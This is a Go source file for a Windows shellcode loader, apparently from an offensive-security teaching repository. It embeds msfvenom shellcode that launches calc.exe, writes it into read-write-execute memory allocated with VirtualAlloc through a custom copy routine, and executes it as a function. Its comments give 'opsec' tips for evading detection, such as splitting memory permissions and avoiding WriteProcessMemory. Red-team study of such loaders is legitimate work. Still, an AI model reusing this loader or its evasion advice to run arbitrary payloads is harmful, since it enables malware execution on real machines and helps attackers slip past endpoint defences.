package main

import (
	"golang.org/x/sys/windows"
	"log"
	"unsafe"
)

func init() {
	// Logs will be printing with the line number
	log.SetFlags(log.Llongfile)
}
func main() {
	// Define our shellcode as a Golang byte array (manually modified from the 'csharp' output type)
	// msfvenom -p windows/x64/exec CMD="C:\windows\system32\calc.exe" EXITFUNC=thread -f csharp
	var shellcode = []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
		0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
		0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
		0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
		0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
		0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
		0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
		0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
		0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
		0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
		0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
		0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
		0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
		0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
		0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
		0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x43, 0x3a, 0x5c,
		0x77, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x5c, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x33,
		0x32, 0x5c, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00}

	// In this example, we use VirtualAlloc() to allocate memory for our shellcode and copy it
	// An equally suitable alternative would be to make our shellcode executable directly using VirtualProtect()

	// Allocate RWX (read-write-execute) memory to execute the shellcode from
	// Opsec tip: RWX memory can easily be detected. Consider making memory RW first, then RX after writing your shellcode
	executableMemory, err := windows.VirtualAlloc(0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
	if err != nil {
		log.Fatal("Fail allocating executable memory: ", err)
	}

	// Copy the shellcode into our assigned region of RWX memory
	WriteMemory(shellcode, executableMemory)

	memoryPtr := &executableMemory
	ptr := unsafe.Pointer(&memoryPtr)
	// Create the function shellcodeFunc that is located on the executable memory
	shellcodeFunc := *(*func())(ptr)
	shellcodeFunc()

	// An easier way would be to use the syscall library
	//syscall.SyscallN(executableMemory, 0, 0, 0, 0)

}

// WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc.
// The function is from https://github.com/C-Sto/BananaPhone/blob/916e63b713df4c296464d75050490581d192cf13/pkg/BananaPhone/functions.go#L84
// The OPSEC is better as it avoid calling WriteProcessMemory()
func WriteMemory(inbuf []byte, destination uintptr) {
	for index := uint32(0); index < uint32(len(inbuf)); index++ {
		writePtr := unsafe.Pointer(destination + uintptr(index))
		v := (*byte)(writePtr)
		*v = inbuf[index]
	}
}
